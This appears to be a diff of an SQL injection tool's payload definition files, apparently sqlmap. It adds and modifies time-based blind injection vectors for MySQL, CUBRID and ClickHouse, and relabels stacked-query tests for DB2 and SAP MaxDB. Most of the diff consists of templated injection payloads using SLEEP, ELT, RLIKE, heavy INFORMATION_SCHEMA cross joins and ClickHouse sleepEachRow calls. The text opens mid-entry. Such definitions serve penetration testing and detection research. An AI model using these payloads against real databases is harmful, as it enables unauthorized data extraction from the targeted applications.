<title>IBM DB2 stacked queries (heavy query - comment)</title>
|
||||||
<stype>5</stype>
|
<stype>4</stype>
|
||||||
<level>3</level>
|
<level>3</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
<clause>1-8</clause>
|
<clause>1-8</clause>
|
||||||
@@ -510,7 +548,7 @@
|
|||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>IBM DB2 stacked queries (heavy query)</title>
|
<title>IBM DB2 stacked queries (heavy query)</title>
|
||||||
<stype>5</stype>
|
<stype>4</stype>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
<clause>1-8</clause>
|
<clause>1-8</clause>
|
||||||
@@ -611,7 +649,7 @@
|
|||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>SAP MaxDB stacked queries (heavy query - comment)</title>
|
<title>SAP MaxDB stacked queries (heavy query - comment)</title>
|
||||||
<stype>5</stype>
|
<stype>4</stype>
|
||||||
<level>4</level>
|
<level>4</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
<clause>1-8</clause>
|
<clause>1-8</clause>
|
||||||
@@ -631,7 +669,7 @@
|
|||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>SAP MaxDB stacked queries (heavy query)</title>
|
<title>SAP MaxDB stacked queries (heavy query)</title>
|
||||||
<stype>5</stype>
|
<stype>4</stype>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
<clause>1-8</clause>
|
<clause>1-8</clause>
|
||||||
|
|||||||
@@ -11,9 +11,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8,9</clause>
|
<clause>1,2,3,8,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
<vector>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
<payload>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -31,9 +31,9 @@
|
|||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
<vector>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
<payload>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -51,9 +51,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8,9</clause>
|
<clause>1,2,3,8,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
<vector>AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>AND SLEEP([SLEEPTIME])</payload>
|
<payload>AND !SLEEP([SLEEPTIME])</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -71,9 +71,9 @@
|
|||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
<vector>OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>OR SLEEP([SLEEPTIME])</payload>
|
<payload>OR !SLEEP([SLEEPTIME])</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -91,9 +91,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
<vector>AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>AND SLEEP([SLEEPTIME])</payload>
|
<payload>AND !SLEEP([SLEEPTIME])</payload>
|
||||||
<comment>#</comment>
|
<comment>#</comment>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
@@ -112,9 +112,9 @@
|
|||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
<vector>OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>OR SLEEP([SLEEPTIME])</payload>
|
<payload>OR !SLEEP([SLEEPTIME])</payload>
|
||||||
<comment>#</comment>
|
<comment>#</comment>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
@@ -133,9 +133,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
<vector>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
<payload>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||||
<comment>#</comment>
|
<comment>#</comment>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
@@ -154,9 +154,9 @@
|
|||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
<vector>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
<payload>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||||
<comment>#</comment>
|
<comment>#</comment>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
@@ -169,7 +169,7 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL < 5.0.12 AND time-based blind (heavy query)</title>
|
<title>MySQL < 5.0.12 AND time-based blind (BENCHMARK)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
<level>2</level>
|
<level>2</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
@@ -189,7 +189,27 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL < 5.0.12 OR time-based blind (heavy query)</title>
|
<title>MySQL > 5.0.12 AND time-based blind (heavy query)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>2</risk>
|
||||||
|
<clause>1,2,3,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>> 5.0.12</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL < 5.0.12 OR time-based blind (BENCHMARK)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
<level>2</level>
|
<level>2</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
@@ -209,7 +229,27 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL < 5.0.12 AND time-based blind (heavy query - comment)</title>
|
<title>MySQL > 5.0.12 OR time-based blind (heavy query)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>> 5.0.12</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL < 5.0.12 AND time-based blind (BENCHMARK - comment)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
@@ -230,7 +270,28 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL < 5.0.12 OR time-based blind (heavy query - comment)</title>
|
<title>MySQL > 5.0.12 AND time-based blind (heavy query - comment)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>2</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
|
||||||
|
<comment>#</comment>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>> 5.0.12</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL < 5.0.12 OR time-based blind (BENCHMARK - comment)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
@@ -250,6 +311,27 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL > 5.0.12 OR time-based blind (heavy query - comment)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
|
||||||
|
<comment>#</comment>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>> 5.0.12</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.0.12 RLIKE time-based blind</title>
|
<title>MySQL >= 5.0.12 RLIKE time-based blind</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
@@ -257,9 +339,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
|
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>RLIKE SLEEP([SLEEPTIME])</payload>
|
<payload>RLIKE !SLEEP([SLEEPTIME])</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -277,9 +359,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
|
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>RLIKE SLEEP([SLEEPTIME])</payload>
|
<payload>RLIKE !SLEEP([SLEEPTIME])</payload>
|
||||||
<comment>#</comment>
|
<comment>#</comment>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
@@ -298,9 +380,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -318,9 +400,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||||
<comment>#</comment>
|
<comment>#</comment>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
@@ -339,9 +421,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8,9</clause>
|
<clause>1,2,3,8,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
<vector>AND ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
<payload>AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -359,9 +441,9 @@
|
|||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>OR ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
<vector>OR ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
<payload>OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -378,9 +460,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
<vector>AND ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
<payload>AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||||
<comment>#</comment>
|
<comment>#</comment>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
@@ -398,9 +480,9 @@
|
|||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>OR ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
<vector>OR ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
<payload>OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||||
<comment>#</comment>
|
<comment>#</comment>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
@@ -588,7 +670,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -610,7 +691,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -631,7 +711,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -652,7 +731,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -674,7 +752,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -696,7 +773,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1016,6 +1092,45 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>CUBRID AND time-based blind (SLEEP)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>1</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<!-- db_root (Cubrid-only catalog) anchors SLEEP so it fires only on Cubrid, not on MySQL which also has SLEEP -->
|
||||||
|
<vector>AND [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Cubrid</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>CUBRID OR time-based blind (SLEEP)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>1</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Cubrid</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>Firebird >= 2.0 AND time-based blind (heavy query)</title>
|
<title>Firebird >= 2.0 AND time-based blind (heavy query)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
@@ -1418,6 +1533,82 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>ClickHouse AND time-based blind (sleepEachRow)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>ClickHouse</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>ClickHouse OR time-based blind (sleepEachRow)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,2,3</clause>
|
||||||
|
<where>2</where>
|
||||||
|
<vector>OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>ClickHouse</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>ClickHouse AND time-based blind (heavy query)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1)))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>ClickHouse</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>ClickHouse OR time-based blind (heavy query)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,2,3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1)))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))</payload>
|
||||||
|
</request>
|
||||||
|
